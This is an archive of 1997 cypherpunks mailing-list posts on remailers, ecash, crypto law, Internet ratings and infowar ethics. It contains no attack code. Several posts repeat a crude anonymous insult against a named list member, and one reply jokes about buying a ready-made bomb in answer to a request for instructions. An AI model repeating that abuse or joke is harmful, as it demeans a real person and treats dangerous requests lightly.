>Christian County Clerk: 217-824-4966

>

>Film footage is available from CBS Affiliate WCIA Television of Illinois at

>217-782-2216.

>

>To schedule interviews members of the news media may call: 616-924-1000.

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
When the world is running down
Make the best of what's still around
                   - Sting





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 1 Oct 1997 01:47:57 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: ElGamal
In-Reply-To: <199709301039.MAA06289@basement.replay.com>
Message-ID: <Pine.A41.3.95.970930111339.102162B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 30 Sep 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C[reep] May carries a turd in his wallet for identification purposes.
> 
>             \|/
>            (*,*) Timothy C[reep] May
>           _m_-_m_
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Wed, 1 Oct 1997 02:09:09 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: Re: Remailers and ecash (fwd)
Message-ID: <2A22D88740F0D01196BD0000F840F43F954F3F@tceis5.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate writes:
>What would motivate an average consumer to use an anonymous remailer?
>
>Clearly simple anonymity or writing nasty letters to Grandma
anonymously are
>not going to motivate most folks irrespective of cost - they simply
have no
>interest in such activities. So, the question becomes:
>
>What besides raising hell anonymously, laundering money, and defeating
>merchant purchase traffic analysis are commercial anonymous remailers
good
>for?


Well, maybe the avenue to pursue isn't the average consumer, but the
average employee.  I don't doubt that at least some companies are under
email traffic analysis by their competitors (and/or their competitor's
governments) to get a clue about future directions for their products.
I could see where many (eventually most) companies would send email to
each other using remailers, so that only the companies involved know
that they communicated with each other.  Internet email doesn't provide
the same level of privacy that snail mail, phones, and faxes do now.
With the use of remailers, Internet email could provide more privacy
than snail mail, phones, or faxes.
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 1 Oct 1997 00:26:13 +0800
To: "'Attila T. Hun'" <cypherpunks@cyberpass.net>
Subject: RE: sounds just like the snitch you are [was]RE: engineering infowar disasters
Message-ID: <01BCCD99.5C581CA0.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----
X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.30a 

on or about 970927:2154 
    Phillip Hallam-Baker <hallam@ai.mit.edu> left his excrement:

+I suspect I'm not the only person on the list who is responsible  for a
+service that is a regular hacker target. If I catch someone I  really
+don't care what the motive for the attack was. I'm going to look to
+make that person serve jail time.

    I do not advocate infowar disasters or any such, but:

    there is _nothing_ lower than a snitch; you just qualified. a snitch
    is without honour, lower than the thief; lower than the law.

    may you enjoy your visit...  when do you go home to England or whatever
    sewer you crawled from?

I never promised any sabateur that I would keep any secret of theirs. I
have worked with law enforcement and the security services for many
years. If I catch someone damaging my property or property I am 
responsible for I call the authorities.

If someone is breaking into a bank and someone recognises the theif
thats not a snitch, thats a hero.

I believe that people who do bad things should go to prison.

It isn't my fault that this description includes many of the people you
send to congress. I never voted for any of them. Nor to judge from your
spelling did you. 

I completely reject your pseudononymous attempt to posit that there 
is a 'them and us' and that I somehow have a responsibility towards
anarchist thugs. When you grow up a bit you will learn that the real
world is not like your high school.


People depend on infrastructure. Lives depend on it. If people screw
it up someone is likely to be killed. Freeh will have a party. Indeed
its the sort of thing Nixon might have done on purpose to take
advantage of the backlash.


		Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Wed, 1 Oct 1997 03:52:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FCPUNX:EPIC Alert 4.13 on crypto and more
Message-ID: <199709301934.MAA27888@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:12 PM 9/26/97 -0700, Declan McCullagh wrote:
> Question to ponder for the weekend: if it took this kind of "compromise"
> for a bill to clear the unabashedly pro-business Commerce committee, what
> will it take for a bill to become law?

Crypto legislation is guaranteed to be bad.  We have been saying that
for years, and now it has been demonstrated.

Just say no to crypto legislation.

> The fate of the SAFE bill is now uncertain.  The original Goodlatte
> language has been substantially amended by five House committees, with
> contradictory results. 

No contradiction:  There are bad amendments and there are really bad
amendments, and there are menacing and totalitarian amendments.

> As such, SAFE may no longer be a viable vehicle
> for the reform of encryption policy that it was originally intended to
> promote.

Let sleeping dogs lie.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 30 Sep 1997 19:12:14 +0800
To: cypherpunks@toad.com
Subject: Re: ElGamal
Message-ID: <199709301039.MAA06289@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C[reep] May carries a turd in his wallet for identification purposes.

            \|/
           (*,*) Timothy C[reep] May
          _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wow-Com Replies <WCReply@ctia.org>
Date: Wed, 1 Oct 1997 02:05:32 +0800
To: cypherpunks@toad.com
Subject: WOW-COM Update
Message-ID: <E1F8A9F262D0D0118EB400805F29FAD420C667@mailgwy.ctia.org>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================
This update is sponsored by TESSCO 
http://www.wow-com.com/professional/whatshot/
=============================================================


Dear WOW-COM Reader:

WOW-COM(TM) is the wireless industry's online information source, a free
service of CTIA.  Find out what's going on in the wireless industry by
visiting http://www.wow-com.com/ today!

INDEX:
======
1) CTIA's WIRELESS FRAUD '97 GETS UNDERWAY IN ORLANDO, F.L.!

2) FCC ADOPTS NOTICE OF INQUIRY ON CALLING PARTY PAYS

3) CTIA's WIRELESS APPS '97 IS 27 DAYS AWAY.  REGISTER ONLINE TODAY!

	

CTIA's WIRELESS FRAUD '97 GETS UNDERWAY IN ORLANDO,
F.L.!==========================================================
http://www.wow-com.com/professional/fraud/

CTIA'S WIRELESS FRAUD '97, Orlando, FL, September 30 - October 2, 1997,
is CTIA's WIRELESS FRAUD WORKSHOP AND PRODUCT SHOWCASE.  Companies will
exhibit high tech, crime fighting tools to help your corporation sustain
its fraud containment efforts.  Let WIRELESS FRAUD '97 prepare you - not
just for today's threat, but tomorrow's.  Log on to www.wow-com.com for
up-to-the-minute product and service announcements directly from the
show floor!  Yesterday's fraud solutions may not solve tomorrow's
problems.  


FCC ADOPTS NOTICE OF INQUIRY ON CALLING PARTY PAYS
==========================================================
http://www.wow-com.com/professional/whatshot/

As expected, the FCC adopted a Notice of Inquiry examining Calling Party
Pays (CPP) as an option for subscribers to Commercial Mobile Radio
Services, and as a  potential means of promoting competition with
wireline carriers. All four of the  Commissioners expressed support for
the item, characterizing CPP as a "pro-competitive idea that deserves
greater attention."  Read about this and other Hot issues in WOW-COM's
What's Hot.


CTIA's WIRELESS APPS '97 IS 27 DAYS AWAY.  REGISTER ONLINE TODAY!
=========================================================
http://www.wow-com.com/professional/convention/
CTIA's Annual Convention & Exposition Focusing on Wireless Data and
Applications will take place in Seattle WA at the Washington State
Convention Center from October 27-29, 1997.  It's people looking for
business solutions to today's business problems and suppliers providing
the real-world wireless applications they need.  To find attendee
registration information, exhibitor information, rates, and event
schedules, log on to www.wow-com.com today!
                                                 
=============================
MORE WOW-COM(TM) FEATURES
=============================
WOW-COM(TM) is current: Updated 3x per day.
WOW-COM(TM) is insightful: CTIA's unbiased analysis 
WOW-COM(TM) is beneficial: Find products and services in  WOW-COM(TM)'s
Virtual 
Trade Show.   List open positions in the WOW-COM(TM) Career Center,
receive resumes 
via email and hire qualified individuals.

The world of wireless is in constant motion.  Stay on top of the news
and benefit from CTIA's analysis by reading WOW-COM(TM) everyday.  You
may remove yourself from the WOW-COM(TM) mailing list by going to
http://www.wow-com.com/unsubscribe
========================================================

This update sponsored by: TESSCO
http://www.wow-com.com/professional/whatshot/

TESSCO, Your Total Source supplier to the Wireless Communications
Industry.
Tessco serves: 

 *** Cellular Providers 
 *** Paging and Personal Communications Service (PCS) Carriers 
 *** Wireless Product Dealers and Installation Centers 
 *** Self-maintained two-way radio end users 

They catalog and stock nearly 17,500 products from over 270
manufacturers - virtually everything needed to build, run or maintain a
cellular, paging, PCS or two-way system.  These products range from
simple electrical tape to sophisticated spectrum analyzers, from tiny
connectors to bulky cable.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Wed, 1 Oct 1997 17:06:02 +0800
To: cypherpunks@cyberpass.net
Subject: The Color of Money
Message-ID: <199710010836.BAA24269@mail-gw2.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Some might find this entertaining: yesterday the bits at the end of
this message were worth $50 for a few hours.  It still seems like
magic.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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- -----END ECASH PAYMENT-----

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 1 Oct 1997 05:48:01 +0800
To: cypherpunks@toad.com
Subject: American Journalism Review on perils of Internet ratings
Message-ID: <Pine.GSO.3.95.970930140534.5597P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 30 Sep 1997 14:05:04 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: American Journalism Review on perils of Internet ratings


========================================================================

http://www.newslink.org/ajrjdl21.html

X-Rated Ratings?

                The Clinton administration and the Internet industry
                have championed voluntary ratings for Web sites to
                create a ``family-friendly'' environment in cyberspace.
                Their campaign nearly led online news organizations to
                create a licensing system for Web journalism.

                By J.D. Lasica
                From AJR, October 1997

                WHEN PRESIDENT CLINTON challenged the high-tech industry
                this summer to create a ``family-friendly Internet'' by
cleaning up
                cyber-smut and other offensive content, newspaper editorials
                applauded the president's decision to forgo government
                regulation and let private industry police the Net.

                     Few realized that the White House's ``parental empowerment
                initiative'' would plunge online news publications headlong
into
                the thorniest thicket of free speech issues in the history of
                cyberspace--and lead to the news media's rejection of the
                president's proposal when it comes to their own Web sites.

                     The fate of an Internet self-rating system, however,
remains
                far from settled. And the online news media's actions in recent
                weeks have been riddled with more intrigue than a John Le Carr*
                thriller--with the final chapters still unwritten.

                     Consider the questions the online news world took up after
                the president's call for an Internet ratings system: How would
                Web news sites rate themselves for violence, language and
sexual
                frankness when publishing stories involving war, murder, rape,
                gang shootings, domestic abuse, hate crimes and teenage
                pregnancy?

                     If an exception is carved out for news sites, which
sites would
                qualify? Where do you draw the line between news and
                information, entertainment, propaganda and opinion? And who
                decides?

                     If news sites refuse to rate themselves, will they be
shut off
                from a growing number of parents and others who are
                demanding filters on their Web browsers?

                     Finally, will the entire ratings scheme transform the
Net from
                a global democratic village into a balkanized, regulated medium
                where foreign despots can easily censor any material that
strays
                from the party line?

                     Questions like these are now being vigorously debated by
                online journalists who've barely had time to catch their breath
                after the U.S. Supreme Court slapped down the Communications
                Decency Act in June.

                     The Clinton administration has adopted the approach
                championed by the Internet industry, which fears another effort
                by Congress to clamp down on ``indecent material'' in
                cyberspace. At the July 16 Internet summit at the White House,
                the president called on such companies as Netscape, America
                Online and IBM to give parents the tools needed to shield
                children from obscenity, violence and antisocial messages
on the
                Net.

                     ``We need to encourage every Internet site, whether or
not it
                has material harmful to minors, to rate its contentsÉto help
                ensure that our children do not end up in the red-light
districts
                of cyberspace,'' Clinton said.

                     The assembled captains of industry obliged. Netscape
                indicated it would support Internet ratings in its next
browser,
                meaning that about 97 percent of all browsers will support
                Internet ratings. (Microsoft's Internet Explorer 3.0 already
                includes ratings as an option for parents to turn on.) The
search
                engines Lycos, Excite and Yahoo! also fell into line,
pledging to
                ask for ratings labels for all Web sites in their directories.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 1 Oct 1997 03:21:04 +0800
To: cypherpunks@toad.com
Subject: Till Debt Do Us Part, cost of the CDA, from Netly
Message-ID: <v03007801b056ee5aa478@[204.254.22.167]>
MIME-Version: 1.0
Content-Type: text/plain




************

http://cgi.pathfinder.com/netly/opinion/0,1042,1452,00.html

The Netly News
September 30, 1997 (http://netlynews.com/)

Till Debt Do Us Part
by Declan McCullagh (declan@well.com)

     Ever since challenging the Communications Decency
Act in early 1996, the two coalitions that filed the
lawsuit have appeared unbeatable. Not only did a
Philadelphia court rule that the law violated the
Constitution's guarantees of freedom of speech, but
the Supreme Court unanimously agreed in June.

     Now one group's string of victories may be
ending. The Center for Democracy and Technology (CDT),
which organized the high tech lawsuit, may lose its
final battle: getting reimbursed nearly $600,000 for
money spent on lawyers.

     Under federal law, only nonprofit groups or
corporations worth less than $7 million can request
attorney's fees after successfully challenging an
unconstitutional law. The Department of Justice claims
that since such wealthy firms as America Online,
Microsoft, Apple and CompuServe paid for much of the
lawsuit, CDT should not be reimbursed. The government
has asked for four months to investigate, charging in
court papers that "other entities actually bore the
costs of the litigation and merely funneled money
through" CDT.

     In other words, if Microsoft had hired the
lawyers, Bill Gates couldn't get reimbursed. The DoJ
claims that Microsoft "funneled" the cash through CDT,
which then turned around and asked Uncle Sam for a
check.

     CDT opposes the government's request for
additional time. Documents filed in Philadelphia
district court last Friday show that the money raised
was from a broad coalition of groups, not all of which
expect reimbursement, says CDT's director, Jerry
Berman. "Maybe all the money doesn't qualify, maybe we
can't get all of it back. But certainly the small
associations, CDT's money and the library money ought
to come back."

     A major contributor to the lawsuit (and the lead
plaintiff) was the American Library Association and
the related Freedom to Read Foundation, which spent
$475,000. The total costs of the lawsuit, though,
ballooned to more than $1.3 million, and CDT still
needs to raise $200,000. (CDT can't ask to be
reimbursed for the full amount since its attorneys
charged much more than the $130 an hour the law sets
as an upper limit.)

     Even as CDT faces a tough struggle, the American
Civil Liberties Union -- which led a coalition of nonprofit
groups in a separate but coordinated lawsuit -- is
optimistic about recovering roughly $400,000 in
expenses. "[The law] was exactly intended to encourage
organizations like the ACLU Foundation, which was set
up to handle these kinds of cases on behalf of people
who don't have the resources to handle these cases
themselves," says Barry Steinhardt, the ACLU associate
director.

     Unlike the CDT coalition -- which employed a law
firm and was funded by outside groups -- the ACLU used
its own lawyers and money and has been reimbursed for
similar lawsuits before. Last Friday the ACLU filed
court documents saying it was eligible for attorney's
fees and arguing against delaying its request past
mid-October.

     If CDT receives attorney's fees, the group says
it first will use the money to settle outstanding
bills owed to the Washington law firm of Jenner &
Block, which has capped its fees at $1.1 million.
"Other than payments to Jenner & Block (and possibly
to the ALA), all proceeds will be used by [CDT ] to
further the general goals of... protecting free speech
on the Internet and empowering families who are using
the Internet to protect their children from material
they judge inappropriate," CDT deputy director Danny
Weitzner says in court documents.

     At issue here is the relationship between CDT,
the lawsuit's funders and the Citizens Internet
Empowerment Coalition, a project of CDT. The Justice
Department has asked the CDT plaintiffs to respond to
40 pages of detailed questions and requests to turn
over documents. "The existence and nature of the fee
arrangements among the plaintiffs is critical to
determining whether ineligible parties are the real
parties in interest," the government says. The
"ineligible" parties who helped out: America Online
($130,000), CompuServe ($50,000), Microsoft ($75,000),
Netcom ($10,000), and Prodigy ($75,000).

     Even if CDT and the ACLU can show they qualify
for a check, they have one more hurdle to leap: to
show the Justice Department was wrong to defend the
CDA as constitutional.

     You might think that after enduring 18 months of
humiliating defeats in two district courts and the
Supreme Court, the Clinton administration might be
willing to throw in the towel and admit the law was
brain-dead from the beginning. You'd be wrong.
Unbelievably, the government claims it was correct to
argue all the way to the Supreme Court that the CDA
did not violate the First Amendment. Says the Justice
Department, "Defendants will demonstrate that their
defense of the CDA was substantially justified and
that plaintiffs' requests for fees should be denied on
that basis alone."

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 1 Oct 1997 10:14:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Ecash Remailer #1
In-Reply-To: <17eeea20e78a2498765e928b039c8bb5@anon.efga.org>
Message-ID: <3.0.3.32.19970930152310.006ae3d4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:25 PM 09/29/1997 -0400, Anonymous <anon@anon.efga.org> wrote:
>This is a test of the first modern remailer to accept ecash.  Sorry for the
>inconvenience.

Which remailer is it?  anon.efga.org?  Or something forwarding through
there?
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 1 Oct 1997 03:54:17 +0800
To: "'Adam Back'" <aba@dcs.ex.ac.uk>
Subject: RE: sounds just like the snitch you are [was]RE: engineering infowar disasters
Message-ID: <01BCCDB5.14FC1250.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




>Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
>> Attila T Hun <attila@primenet.com> writes:
>> 
>> I never promised any sabateur that I would keep any secret of theirs. I
>> have worked with law enforcement and the security services for many
>> years. If I catch someone damaging my property or property I am 
>> responsible for I call the authorities.

>You know, Phill, life is not black and white.

>Let's say for the sake of argument that you are admin for a system
>which is based on the security of MD4.  Then along comes Boesslaers
>and co, and trashes it.  You going to call for him to be locked up?

>How about if someone then uses this new cryptanalysis to write some
>code which demonstrates the weakness... do you figure they should be
>locked up for demonstrating the flaw.  (Note they haven't gone within
>a mile of your precious systems).

>How about if some cypherpunks used this code to demonstrate that they
>could decrypt something which was encrypted by a webserver running on
>a machine you are admin for.  Should these cypherpunks also be locked
>up?

This is not what was proposed at all however.

Demonstrating security flaws is one thing,  exploiting the flaws for malice
is quite another.

It is the difference between Ralph Nader demonstrating that the pinto is
"unsafe at any speed" and buying one for your elderly aunt who has promised
you that inheritance.

>I can assure you that kerckhoffs principle applies doubly to infowar
>attacks, a hostile foreign government is hardly going to be cowed by
>your suggestion that you will call the feds if anyone breaks anything
>you've got anything to do with.  I can see it now, Sadam Hussien's
>hired system-crackers, his inforwar attack team, will really be
>quaking in their boots, "better not trash US internet infrastructure
>-- that brit Phill Hallam-Barker guy will narc us out".

That is a deliberate misrepresentation of what I said.

I was pointing out that *anybody* on the list who is responsible for a 
system is going to want a conviction if they are attacked. 

>> I believe that people who do bad things should go to prison.

>Personally I would rather see murderers and rapists locked up than
>teenage recreational crackers who go around breaking into poorly
>maintained systems for the challenge, but break nothing.

I believe the opposite.

So would you if you had had my experience. Even if you know that 
the system is secure and you have the perp under 24 hour 
surveillence by top people you are going to worry like hell. 

One of the people I advised during an incident likened it to rape. I
don't think this is too far fetched. There are many hackers who
see their machine as an extension of the self. 

The anonymity of the net cuts both ways. You don't know whether
its Sadam's storm troopers or teenage shit unless and until you
get a collar.


>I'm kind of wondering if _you_ as the security person who was
>responsible for security at the site, feel no responsibility to secure
>your systems.  ("Oh don't worry about security, if anyone breaks in
>we'll call the feds").

I'm interested in security at every level, including severe reprisals.


>I would hardly describe a bit of cryptanalysis of infowar risks as the
>work of `anarchist thugs'.

Neither did I. Discovering weaknesses is OK. Exploiting them is NOT.

>Applying said cryptanalysis to in practice take out root DNS might not
>be such a friendly thing though.  But hey, if someone does it, the
>real people to blame are Freeh and co for hindering use of crypto
>techniques to protect the infrastructure.

Not in that case. DNS security is taking time to adopt because that 
sort of thing just does. That is an authentication problem and there
has not been a problem. Heck the NSA even published the DSS.

Be exact, not every security problem can be blamed on the Feds.

If you arn't carefull you will end up like Kitty Kelly who when I spoke
with her yesterday began with the lie that truth is not a defense in
british libel law (wasn't in 1776, has been an absolute defense since 
1850 or so) then mixed up Australia and Argentina. Like you have to
make sure the points are accurate.


>> People depend on infrastructure. Lives depend on it. 

>If people are depending on the internet for mission critical
>information, of the sort where people will die quickly if information
>isn't getting through, they need their heads examining.  If they have
>been advised to use the internet for this kind of information they
>need to get better advice.

The assumption that the Internet and the telephone system are 
somehow entirely disjoint when it comes to Infowar is a somewhat
naive one. The fact is that the telephone system is just as prone
to attack, much more likely to use security through obscurity 
and so on than the Internet.


>> If people screw it up someone is likely to be killed. Freeh will
>> have a party. Indeed its the sort of thing Nixon might have done on
>> purpose to take advantage of the backlash.

>Uhh... could you explain the logic there a bit please?

Don't think for a moment that if Joe Cypherpunk screws up the 
national power grid that that means cryptography rights for all. All
it means is that Freeh is going to demand and get a blank cheque
to eliminate crypto to match the blank cheque to eliminate drugs.

One of the strategies Nixon's plumbers used was to deliberately
sabotage their own rallies so that they could claim the violence
came from the anti-war movement.

Don't imagine that because something makes no sense US politicians
won't insist on it. They voted for prohibition, they spend $40billion
on failed drug interdiction policies and they won't stop at giving
Freeh $5 billion to supress crypto.

The symbol of the US government should be changed to a B2 bomber,
hugely expensive ($1.5 billion and counting), with no remaining 
strategic role (Pentagon, RAND, Air Force Chief of Staff statements),
can't be used in the rain (CNN reports) and visible on Marconi-UK
build radar. US congress is insisting on building 20 more despite
statements from DoD they just don't want them.

		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 1 Oct 1997 03:57:24 +0800
To: cypherpunks@cyberpass.net
Subject: Pre-Encryption Surveillance
Message-ID: <v03110714b05702ec7e4a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date:         Tue, 30 Sep 1997 15:11:43 -0400
Reply-To: Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender: Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From: Dwight Hines <Elmhines@AOL.COM>
Subject:      Pre-Encryption Surveillance
To: CYBERIA-L@LISTSERV.AOL.COM

Please note that there are now two cases in the Federal Appellate Courts
(Docket #'s 2780, 2293) in the Eleventh Circuit, and one case that will soon
be appealed from the Fed Dist in Tallahassee, Florida (Hines v. American Inn)
that have to do with illegal electronic surveillance of computers, as well as
invasion of privacy.  The Federal Election Commission has been notified as
well as other law enforcement agencies.  The attached file gives more detail
on the Tallahassee Case.  There is another case that will be filed soon in a
different circuit that also includes allegations of obstruction ofjustice and
witness tampering.  The concern with encryption has led some folks with a
criminal bent to avoid the issue altogether.  Others, such as supporters of
the Christian Coalition, feel they can presume police powers that are
restricted just to the state.  It is a major mess.  If you are interested in
becoming an interested party and would like to be included in the certificate
of corporate disclosure and interested parties, please read the attached file
and contact me.
Sincerely,
Dwight Hines

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 1 Oct 1997 10:10:39 +0800
To: cypherpunks@cyberpass.net
Subject: colocation costs: Re: Remailers and ecash (fwd)
In-Reply-To: <199709291246.HAA11540@einstein.ssz.com>
Message-ID: <3.0.3.32.19970930160322.006bcb48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>I'm wondering about your co-location machine, from your comments above it
>>must be sitting in a field since you don't pay rent (or was that your way of
>>saying somebody else pays the rent for you?). Is this so? Since so many of
>>your utilities and physical plant are donated I have to question the
>>accuracy and utility of your figures as well as the applicability of those
>>figures to a true commercial enterprise.

Depending on the security, performance, and price you're looking for, 
you can run your own machine on your own premises, 
run your own machine in somebody else's colocation facility (either
as a favor, like anon.efga.org may be, or using a commercial ISP),
have somebody else run a dedicated machine for you (mostly ISPs),
buy a shell account on an ISP or other service provider's machine,
use a free shell account from somewhere, or use an IP-only connection.

Sure, free colocation space is nice, but there _are_ plenty of ISPs
running commercially reliable colocation services that get you UPSed
electricity,
professionally maintained routers, and some share of a T1 or T3 to the world,
for far less than the rent you'd pay for doing the whole job yourself,
since they have economies of scale by handling multiple colocation
customers and
also handling their own servers.   

Shell accounts are still typically $20-30/month, though obviously it's a
lot less 
secure since somebody else has root on the machine your remailer's secret
key lives on,
but that does include professionally maintained hardware, mail systems, and
backups.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@t-online.de>
Date: Tue, 30 Sep 1997 23:09:21 +0800
To: cypherpunks@toad.com
Subject: Re: bombs
In-Reply-To: <970924195003_-899596690@emout12.mail.aol.com>
Message-ID: <3.0.2.32.19970930160911.006b0f80@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 19:50 24.09.97 -0400, JuanPyro@aol.com wrote:

>im writing a screenplay and need very detailed instructions on how 
to make a
>bomb
>

Why not just buy a ready made one. Toto, I think, has details.
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDEICPzOjjBJiFUeEQKe+gCg9RdTftfFcBOZ7LHkZDYFujbYa0AAoOfX
6fUXPDiKEF+tOH7e5S4L+7wC
=JZUI
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 1 Oct 1997 09:59:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
In-Reply-To: <2321ced0989df8c5fb475134a708618d@anon.efga.org>
Message-ID: <3.0.3.32.19970930161103.006bc934@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>And another point: Nobody wants to add latency.  (There may be a few
>applications, but they are rare.)
>What people want is security and one way to get it (sometimes) is by
>adding latency to their messages.

Latency is essential to security, though high volume reduces the latency
that's
needed to get a given level of security.  It's not enough - if your latency
is a
constant, it doesn't buy you anything, and if there's not enough traffic,
the fact that the remailer waited 3 days before sending out the one message it
received doesn't help much either.  But if it's low, and relatively
predictable,
you lose rapidly to traffic analysis instead of potentially losing slowly.

Lucky's point that traffic analysts can learn a lot because messages decrease
in size in type-1 remailer networks is important; Mixmaster's constant-size
message blocks are probably the best way to go (though you then need
more random interblock latency), but the ability to have each remailer
add padding is important if you don't use fixed-size blocks, and I'm not aware
of anybody implementing that.  (The obvious implementation would be for
remailers that randomly pick another remailer to chain through to reach
their destination, since they could put padding inside the encrypted package.)

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Wed, 1 Oct 1997 05:32:18 +0800
To: Dave Del Torto <ddt@pgp.com>
Subject: Re: [CFP98] "How to Choke the Net"
In-Reply-To: <v04001401b055e4866f2e@[205.180.136.85]>
Message-ID: <3.0.1.16.19970930171158.0cc7f358@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:12 AM 9/30/97 -0700, Dave Del Torto thoughtfully expounded thus:
>Cypherpunks,
>
>The CFP98 program committee is considering a panel (or possibly a
>pre-conference tutorial) for next year entitled something like "How to
>Choke the Net." (The provocative title is NOT intended to espouse the
>practice of net-choking NOR to provide hands-on techniques.)

[snip]

Dave,

I think that the fact that 50 - 75 % of all packets _in the world_ (IIRC)
go through MAE-EAST in Reston, VA means that any governmental entity
controlling this NAP could filter/drop packets to their heart's content.  I
seem to recall a year or so back that Madsen, et. al. said that they were
very certain that packet monitoring took place at major NAPS like this.

For my own $.02 I think that the lack of success on this front has been due
to sloth on various governments' parts, not for lack of ability.
Considering that many third-world countries have limited connectivity into
the high-speed backbones, typically through one or two interconnect points
at most, (owned by their government-run PTT's) I think that any concerted
effort on a government's part would be more successful than most think
